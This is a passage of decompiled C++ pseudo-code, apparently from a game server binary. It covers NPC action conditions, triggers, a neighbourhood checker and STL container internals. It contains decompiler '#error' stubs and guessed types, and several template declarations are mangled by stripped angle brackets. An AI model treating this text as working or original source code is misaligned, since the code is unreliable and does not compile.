v8, 0x21u); if ( v18 ) { strncmp("Class", v8, 0x21u); if ( v19 ) { strncmp("Skill", v8, 0x21u); if ( v25 ) { strncmp("Die", v8, 0x21u); if ( v29 ) { strncmp("Emotion", v8, 0x21u); if ( v31 ) { strncmp("Default", v8, 0x21u); if ( v33 ) { strncmp("None", v8, 0x21u); if ( v34 ) { strncmp("GTITeam", v8, 0x21u); if ( !v35 ) { result = (NPCAction::ICondition *)operator new(0xCu); if ( result ) { result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::GT_TeamCondition::_vftable_; result[1].baseclass_0.vfptr = (IObserverVtbl *)x; return result; } return 0; } AssertClass::ac_AssertFail( &shineassert, "CondGen_OptionReader::createCondition_ : Unsupported Condition", v8); } } v36 = operator new(0xCu); if ( v36 ) { *((_DWORD *)v36 + 1) = 10 * low / 0x3E8; *(_DWORD *)v36 = &NPCAction::NoneCondition::_vftable_; *((_DWORD *)v36 + 2) = 10 * high / 0x3E8; return (NPCAction::ICondition *)v36; } } else { v32 = operator new(0x10u); if ( v32 ) { NPCAction::EmotionCondition::EmotionCondition((NPCAction::EmotionCondition *)result, x, low, high); return result; } } } else { v30 = operator new(4u); if ( v30 ) { NPCAction::DeadCondition::DeadCondition((NPCAction::DeadCondition *)result); return result; } } } else { v26 = BTree::operator__(&skillnametree, v10); v27 = v26; if ( AssertClass::operator__(&shineassert, v26 != -1, "CondGen_OptionReader : Invalid Skill", 0) ) ShineExit("CondGen_OptionReader"); v28 = operator new(0x10u); if ( v28 ) { NPCAction::SkillCondition::SkillCondition((NPCAction::SkillCondition *)result, v27, low, high); return result; } } } else { for ( i = 0; ; ++i ) { if ( !gClassName.m_pHead || i >= gClassName.m_pHead->nNumOfRecord ) { AssertClass::ac_AssertFail(&shineassert, "CondGen_OptionReader : Invalid Class Name", v10); ShineExit("CondGen_OptionReader"); } v21 = CDataReader::GetRecord(&gClassName, i); v22 = v21; strncmp((char *)v21 + 5, v10, 0x10u); if ( !v23 ) break; } result = (NPCAction::ICondition *)operator new(8u); if ( result ) { v24 = *(_BYTE *)v22; result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::ClassCondition::_vftable_; LOBYTE(result[1].baseclass_0.vfptr) = v24; return result; } } } else { result = (NPCAction::ICondition *)operator new(8u); if ( result ) { BYTE1(result[1].baseclass_0.vfptr) = v11; result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::LvGapCondition::_vftable_; LOBYTE(result[1].baseclass_0.vfptr) = x; return result; } } } else { v14 = BTree::operator__(&unk_6158F0, v10); if ( v14 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "CondGen_OptionReader : Invalid ABState", 0); ShineExit("CondGen_OptionReader"); } v15 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v14); if ( v15 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "CondGen_OptionReader : Invalid ABState", 0); ShineExit("CondGen_OptionReader"); } v16 = operator new(0x10u); if ( v16 ) { NPCAction::ABStateCondition::ABStateCondition( (NPCAction::ABStateCondition *)v16, v15->index->AbStataIndex, low, high); return result; } } return 0; } // 5E3988: using guessed type int (__thiscall *NPCAction__NoneCondition___vftable_)(void *p, char); // 5E39A8: using guessed type int (__thiscall *NPCAction__LvGapCondition___vftable_)(void *p, char); // 5E39B8: using guessed type int (__thiscall *NPCAction__ClassCondition___vftable_)(void *p, char); // 5E39E8: using guessed type int (__thiscall *NPCAction__GT_TeamCondition___vftable_)(void *p, char); //----- (005494E0) -------------------------------------------------------- bool __thiscall NPCAction::GT_TeamCondition::check(NPCAction::GT_TeamCondition *this) { NPCAction::GT_TeamCondition *v1; // edi@1 int v2; // eax@2 char v3; // al@5 int v4; // eax@6 int v5; // esi@6 bool result; // al@7 int v7; // eax@10 int v8; // eax@11 int v9; // eax@11 int v10; // [sp+Ch] [bp+4h]@0 v1 = this; if ( !v10 ) goto LABEL_14; v2 = (**(int (__thiscall ***)(_DWORD))v10)(v10); if ( v2 ) { while ( (ShineRTTI *)v2 != &ShineObjectClass::ShinePlayer::m_RTTI ) { v2 = *(_DWORD *)(v2 + 4); if ( !v2 ) goto LABEL_5; } v3 = 1; } else { LABEL_5: v3 = 0; } v4 = v3 != 0 ? v10 : 0; v5 = v4; if ( v4 && ShineObjectClass::ShineObject::so_CurMapname(v4) && (v7 = ShineObjectClass::ShineObject::so_CurMapname(v5), FieldMap::fm_GetGuildTournamentSystem((void *)v7)) ) { v8 = ShineObjectClass::ShineObject::so_CurMapname(v5); v9 = FieldMap::fm_GetGuildTournamentSystem((void *)v8); result = v1->m_Team == GuildTournamentSystem::GetGuildRegIndex((GuildTournamentSystem *)v9, (#325 *)v5); } else { LABEL_14: result = 0; } return result; } //----- (00549560) -------------------------------------------------------- #error "549560: undefined or illegal type '#325' (funcsize=56)" //----- (005495F0) -------------------------------------------------------- NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::operator__(NPCAction::CondGen_OptionReader *this) { NPCAction::CondGen_OptionReader *v1; // esi@1 int v2; // eax@1 const char *v3; // ecx@1 void *v4; // eax@3 NPCAction::ICondition *result; // eax@4 int v6; // ecx@5 ORToken v7; // [sp-20h] [bp-24h]@3 int v8; // [sp-1Ch] [bp-20h]@3 int v9; // [sp-18h] [bp-1Ch]@3 int v10; // [sp-14h] [bp-18h]@3 unsigned int v11; // [sp-10h] [bp-14h]@3 unsigned int v12; // [sp-Ch] [bp-10h]@1 NPCAction::CondGen_OptionReader *v13; // [sp+0h] [bp-4h]@1 v13 = this; v1 = this; v2 = this->currentRow_; v3 = *(const char **)&NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0]; v12 = v2; if ( NPCAction::CondGen_OptionReader::tableName_._Myres < 0x10 ) v3 = (const char *)&NPCAction::CondGen_OptionReader::tableName_._Bx; v13 = (NPCAction::CondGen_OptionReader *)&v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, v3, 0x14u); v4 = OptionReader::or_SelectFromOrder(v1->optionReader_, v7, v12); if ( v4 ) { v6 = v1->currentRow_; v12 = 0; v11 = 0; v1->currentRow_ = v6 + 1; result = NPCAction::CondGen_OptionReader::createCondition_( v1, (const char *)v4 + 1, (const char *)v4 + 34, *(_DWORD *)((char *)v4 + 67), *(_DWORD *)((char *)v4 + 71), (NPCAction::CondGen_OptionReader::ConditionData_ *)v4, v11, v12); } else { result = 0; } return result; } //----- (00549670) -------------------------------------------------------- void __thiscall NeighborhoodChecker::NeighborhoodChecker(NeighborhoodChecker *this, std::vector > *triggerCollection) { NeighborhoodChecker *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->triggerCollection_ = triggerCollection; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&NeighborhoodChecker::_vftable_; } // 5E3B7C: using guessed type int (__stdcall *NeighborhoodChecker___vftable_)(#325 *pcName, ShineRTTI *pkBaseRTTI, int distancesquar); //----- (00549690) -------------------------------------------------------- void __thiscall NeighborhoodChecker::_NeighborhoodChecker(NeighborhoodChecker *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&NeighborhoodChecker::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5E3B7C: using guessed type int (__stdcall *NeighborhoodChecker___vftable_)(#325 *pcName, ShineRTTI *pkBaseRTTI, int distancesquar); //----- (005496A0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 24; return result; } //----- (005496C0) -------------------------------------------------------- std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Max(std::_Tree_nod >,std::less,std::allocator > *_Pnode) { std::_Tree_nod >,std::less,std::allocator > *result; // eax@1 int i; // ecx@1 result = _Pnode; for ( i = *(_DWORD *)&_Pnode[4].baseclass_0.comp.baseclass_0.dummy[0]; !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 8) ) result = (std::_Tree_nod >,std::less,std::allocator > *)i; return result; } //----- (005496E0) -------------------------------------------------------- unsigned int __thiscall std::basic_string_std::allocator>::rfind(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count) { unsigned int v4; // edi@1 unsigned int v5; // ecx@2 unsigned int result; // eax@2 unsigned int v7; // eax@4 unsigned int v8; // eax@5 unsigned int v9; // esi@7 char *v10; // edx@7 char *v11; // ecx@8 int i; // eax@10 unsigned int v13; // ecx@12 const char *v14; // edi@12 int v15; // esi@12 bool v16; // zf@12 char *v17; // ecx@18 unsigned int _Offa; // [sp+Ch] [bp+8h]@7 v4 = _Count; if ( !_Count ) { v5 = this->_Mysize; result = _Off; if ( _Off >= v5 ) result = v5; return result; } v7 = this->_Mysize; if ( _Count > v7 ) return -1; v8 = v7 - _Count; if ( _Off < v8 ) v8 = _Off; v9 = this->_Myres; _Offa = this->_Myres; v10 = (char *)&this->_Bx; if ( v9 < 0x10 ) v11 = (char *)&this->_Bx; else v11 = *(char **)v10; for ( i = (int)&v11[v8]; ; --i ) { if ( *(_BYTE *)i != *_Ptr ) goto LABEL_17; v13 = v4; v14 = _Ptr; v15 = i; v16 = 1; do { if ( !v13 ) break; v16 = *(_BYTE *)v15++ == *v14++; --v13; } while ( v16 ); if ( v16 ) break; v4 = _Count; v9 = _Offa; LABEL_17: if ( v9 < 0x10 ) v17 = v10; else v17 = *(char **)v10; if ( (char *)i == v17 ) return -1; } if ( _Offa >= 0x10 ) v10 = *(char **)v10; return i - (_DWORD)v10; } //----- (00549780) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode) { int v2; // eax@1 int v3; // esi@1 int v4; // ecx@3 int v5; // ecx@5 v2 = *(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0]; *(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0] = *(_DWORD *)(*(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0] + 8); v3 = *(_DWORD *)(v2 + 8); if ( !*(_BYTE *)(v3 + 33) ) *(_DWORD *)(v3 + 4) = _Wherenode; *(_DWORD *)(v2 + 4) = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; v4 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v4 + 4) ) { *(_DWORD *)(v4 + 4) = v2; *(_DWORD *)(v2 + 8) = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { v5 = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v5 + 8) ) { *(_DWORD *)(v5 + 8) = v2; *(_DWORD *)(v2 + 8) = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { *(_DWORD *)v5 = v2; *(_DWORD *)(v2 + 8) = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } } } //----- (005497E0) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec(std::_Tree >,std::less,std::allocator > > > *this) { std::_Tree >,std::less,std::allocator > > > v1; // eax@1 std::_Tree >,std::less,std::allocator > > > v2; // edx@3 std::_Tree >,std::less,std::allocator > > > i; // eax@4 std::_Tree >,std::less,std::allocator > > > v4; // eax@7 v1 = *this; if ( *(_BYTE *)(*this + 33) ) { *this = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 33) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 33) ) { do { if ( *this != *(_DWORD *)v4 ) break; *this = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 33) ); if ( !*(_BYTE *)(v4 + 33) ) *this = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 8) ) v2 = i; *this = v2; } } } //----- (00549840) -------------------------------------------------------- #error "549840: undefined or illegal type '#325' (funcsize=21)" //----- (00549880) -------------------------------------------------------- #error "549880: undefined or illegal type '#325' (funcsize=79)" //----- (00549970) -------------------------------------------------------- void __thiscall NPCAction::Manager::_Manager(NPCAction::Manager *this) { NPCAction::Manager *v1; // edi@1 NPCAction::ICondition **v2; // ebx@1 NPCAction::ICondition **i; // esi@1 v1 = this; v2 = this->container_._Mylast; for ( i = this->container_._Myfirst; i != v2; ++i ) { if ( *i ) ((void (__stdcall *)(_DWORD))(*i)->baseclass_0.vfptr->__vecDelDtor)(1); } if ( v1->container_._Myfirst ) operator delete(v1->container_._Myfirst); v1->container_._Myfirst = 0; v1->container_._Mylast = 0; v1->container_._Myend = 0; } //----- (005499E0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, NPCAction::Trigger *_First, NPCAction::Trigger *_Last) { NPCAction::Trigger *i; // esi@1 for ( i = _First; i != _Last; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); } //----- (00549A10) -------------------------------------------------------- void __thiscall NPCAction::Trigger::_Trigger(NPCAction::Trigger *this) { NPCAction::Trigger *v1; // esi@1 v1 = this; if ( this->actions_._Myfirst ) operator delete(this->actions_._Myfirst); v1->actions_._Myfirst = 0; v1->actions_._Mylast = 0; v1->actions_._Myend = 0; IObserver::_IObserver((ItemSmallBag *)v1); } //----- (00549A40) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 NPCAction::Trigger *v2; // esi@1 NPCAction::Trigger *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) v2->baseclass_0.vfptr->__vecDelDtor((IObserver *)v2, 0); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00549AA0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00549B10) -------------------------------------------------------- void __thiscall NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this) { std::vector>::_Tidy(&this->triggers_); } //----- (00549B20) -------------------------------------------------------- void __thiscall std::pair>>::_pair>>(std::pair > > *this) { std::vector>::_Tidy(&this->second); } //----- (00549B30) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(4 * _Capacity); v2->_Myend = (NPCAction::IAction **)((char *)v4 + 4 * _Capacity); v2->_Myfirst = (NPCAction::IAction **)v4; v2->_Mylast = (NPCAction::IAction **)v4; result = 1; } else { result = 0; } return result; } //----- (00549B80) -------------------------------------------------------- void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator > *this) { std::vector>::_Tidy((std::vector > *)&this[8]); } //----- (00549B90) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 NPCAction::IAction **v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 NPCAction::IAction **v7; // ecx@7 NPCAction::IAction **v8; // ST00_4@7 int v9; // [sp-Ch] [bp-20h]@1 std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst; v11 = &v9; thisa = (std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (NPCAction::IAction **)v6; v2->_Mylast = (NPCAction::IAction **)v6; v2->_Myend = (NPCAction::IAction **)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (NPCAction::IAction **)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00549C50) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int a2) { void *v2; // esi@1 char *v3; // ebx@2 int v4; // edx@3 void *result; // eax@6 NPCAction::IAction **v6; // ecx@7 int v7; // ebp@8 int v8; // eax@11 int v9; // eax@15 int v10; // eax@19 NPCAction::IAction **v11; // ebx@21 int v12; // ecx@24 int v13; // eax@25 v2 = this; if ( this == (void *)a2 ) return v2; v3 = *(char **)(a2 + 4); if ( !v3 || (v4 = (*(_DWORD *)(a2 + 8) - (signed int)v3) >> 2) == 0 ) { if ( *((_DWORD *)this + 1) ) operator delete(*((void **)this + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } v6 = (NPCAction::IAction **)*((_DWORD *)this + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 2; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { memmove((char *)v6, v3, 4 * ((*(_DWORD *)(a2 + 8) - (signed int)v3) >> 2)); v8 = *(_DWORD *)(a2 + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 4 * ((*(_DWORD *)(a2 + 8) - v8) >> 2); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) >> 2; else v9 = 0; if ( v4 > (unsigned int)v9 ) { if ( v6 ) operator delete(*((void **)v2 + 1)); v12 = *(_DWORD *)(a2 + 4); if ( v12 ) v13 = (*(_DWORD *)(a2 + 8) - v12) >> 2; else v13 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( *(char **)(a2 + 4), *(_DWORD *)(a2 + 8), *((char **)v2 + 1)); return v2; } if ( v6 ) v10 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 2; else v10 = 0; v11 = (NPCAction::IAction **)(*(_DWORD *)(a2 + 4) + 4 * v10); std::copy( *(NPCAction::IAction ***)(a2 + 4), v11, *((NPCAction::IAction ***)v2 + 1)); *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (char *)v11, *(_DWORD *)(a2 + 8), *((char **)v2 + 2)); return v2; } //----- (00549DA0) -------------------------------------------------------- void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this, NPCAction::Trigger *__that) { this->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; this->condition_ = __that->condition_; std::vector>::vector>( &this->actions_, &__that->actions_); } // 5E3BA0: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (00549E00) -------------------------------------------------------- void *__thiscall NPCAction::Trigger::_scalar_deleting_destructor_(NPCAction::Trigger *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::Trigger::_Trigger(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00549E20) -------------------------------------------------------- NPCAction::Trigger *__cdecl std::_Copy_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { NPCAction::Trigger *v4; // esi@1 NPCAction::Trigger *v5; // edi@2 NPCAction::Trigger *result; // eax@4 v4 = _First; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v5->condition_ = v4->condition_; std::vector>::operator_( &v5->actions_, (int)&v4->actions_); ++v4; ++v5; } while ( v4 != _Last ); result = v5; } return result; } //----- (00549E60) -------------------------------------------------------- NPCAction::Trigger *__cdecl std::_Copy_backward_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { NPCAction::Trigger *v4; // esi@1 NPCAction::Trigger *v5; // edi@2 NPCAction::ICondition *v6; // eax@3 NPCAction::Trigger *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = (NPCAction::ICondition *)*((_DWORD *)v4 - 5); --v4; --v5; v5->condition_ = v6; std::vector>::operator_( &v5->actions_, (int)&v4->actions_); } while ( v4 != _First ); result = v5; } return result; } //----- (00549EA0) -------------------------------------------------------- void __thiscall NPCAction::Manager::Manager(AbnormalStateShelter::AbstateShelter *this) { this->as_Safe._Myfirst = 0; this->as_Safe._Mylast = 0; this->as_Safe._Myend = 0; } //----- (00549EB0) -------------------------------------------------------- void __cdecl std::generate_n>::iterator_unsigned_int_NPCAction::TriggerGen_OptionReader>(std::vector >::iterator _Dest, unsigned int _Count, NPCAction::TriggerGen_OptionReader _Func) { void *v3; // esi@2 unsigned int v4; // edi@2 NPCAction::Trigger *v5; // eax@3 NPCAction::Trigger *v6; // esi@6 NPCAction::Trigger *v7; // edi@7 NPCAction::Trigger result; // [sp+0h] [bp-24h]@3 int v9; // [sp+20h] [bp-4h]@1 v9 = 0; if ( _Count ) { v3 = (void *)(*(_DWORD *)&_Dest + 8); v4 = _Count; do { v5 = NPCAction::TriggerGen_OptionReader::operator__(&_Func, &result); *((_DWORD *)v3 - 1) = v5->condition_; LOBYTE(v9) = 1; std::vector>::operator_(v3, (int)&v5->actions_); LOBYTE(v9) = 0; if ( result.actions_._Myfirst ) operator delete(result.actions_._Myfirst); result.actions_._Myfirst = 0; result.actions_._Mylast = 0; result.actions_._Myend = 0; IObserver::_IObserver((ItemSmallBag *)&result); v3 = (char *)v3 + 24; --v4; } while ( v4 ); } v6 = _Func.triggers_._Myfirst; v9 = -1; if ( _Func.triggers_._Myfirst ) { v7 = _Func.triggers_._Mylast; if ( _Func.triggers_._Myfirst != _Func.triggers_._Mylast ) { do { v6->baseclass_0.vfptr->__vecDelDtor((IObserver *)v6, 0); ++v6; } while ( v6 != v7 ); v6 = _Func.triggers_._Myfirst; } operator delete(v6); } } //----- (00549F80) -------------------------------------------------------- void __cdecl std::fill(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Val) { NPCAction::Trigger *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->condition_ = _Val->condition_; std::vector>::operator_( &i->actions_, (int)&_Val->actions_); } } //----- (00549FC0) -------------------------------------------------------- NPCAction::Trigger *__cdecl std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, NPCAction::Trigger *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { NPCAction::Trigger *v5; // esi@1 std::vector >::const_iterator v6; // edi@1 NPCAction::ICondition *v7; // eax@4 int v9; // [sp-Ch] [bp-20h]@1 NPCAction::Trigger *_Next; // [sp+0h] [bp-14h]@1 int *v11; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@1 v5 = _Dest; v6 = _First; v11 = &v9; _Next = _Dest; v12 = 0; while ( v6 != _Last ) { if ( v5 ) { v5->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; v7 = *(NPCAction::ICondition **)(*(_DWORD *)&v6 + 4); LOBYTE(v12) = 2; v5->condition_ = v7; std::vector>::vector>( &v5->actions_, (std::vector > *)(*(_DWORD *)&v6 + 8)); } ++v5; LOBYTE(v12) = 0; *(_DWORD *)&v6 += 24; } return v5; } // 5E3BA0: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (0054A060) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 NPCAction::Trigger *v6; // eax@2 NPCAction::Trigger *v7; // edi@2 NPCAction::Trigger *v8; // ebx@2 NPCAction::Trigger *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(NPCAction::Trigger **)&_Last, v4->_Mylast, *(NPCAction::Trigger **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = v6; for ( i = v6; i != v7; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (0054A0C0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(NPCAction::Trigger *_First, unsigned int _Count, NPCAction::Trigger *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ebx@1 NPCAction::Trigger *v6; // esi@1 NPCAction::ICondition *v7; // eax@4 int v8; // [sp-Ch] [bp-20h]@1 NPCAction::Trigger *_Next; // [sp+0h] [bp-14h]@1 int *v10; // [sp+4h] [bp-10h]@1 int v11; // [sp+10h] [bp-4h]@1 v5 = _Count; v6 = _First; v10 = &v8; _Next = _First; v11 = 0; while ( v5 ) { if ( v6 ) { v6->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; v7 = _Val->condition_; LOBYTE(v11) = 2; v6->condition_ = v7; std::vector>::vector>( &v6->actions_, &_Val->actions_); } --v5; ++v6; LOBYTE(v11) = 0; } } // 5E3BA0: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (0054A160) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator > > > *v3; // ebp@1 std::_Tree >,std::less,std::allocator > > > v4; // ebx@4 std::_Tree >,std::less,std::allocator > > > v5; // edi@5 std::_Tree >,std::less,std::allocator > > > v6; // ecx@8 std::_Tree >,std::less,std::allocator > > > v7; // esi@9 int v8; // eax@11 int v9; // ebx@16 std::_Tree_nod >,std::less,std::allocator > *v10; // eax@18 int v11; // ebx@21 int v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 int v17; // eax@60 std::_Tree >,std::less,std::allocator > > > *v18; // eax@62 std::_Tree >,std::less,std::allocator > > > _Erasednode; // [sp+0h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v22; // [sp+50h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(_Where + 33) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 33) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == _Erasednode ) { if ( *(_BYTE *)(v5 + 33) ) v10 = (std::_Tree_nod >,std::less,std::allocator > *)v7; else v10 = std::_Tree>_std::less_std::allocator>>>_0>>::_Min((std::_Tree_nod >,std::less,std::allocator > *)v5); *(_DWORD *)v9 = v10; } v11 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v11 + 8) == _Erasednode ) { if ( *(_BYTE *)(v5 + 33) ) *(_DWORD *)(v11 + 8) = v7; else *(_DWORD *)(v11 + 8) = 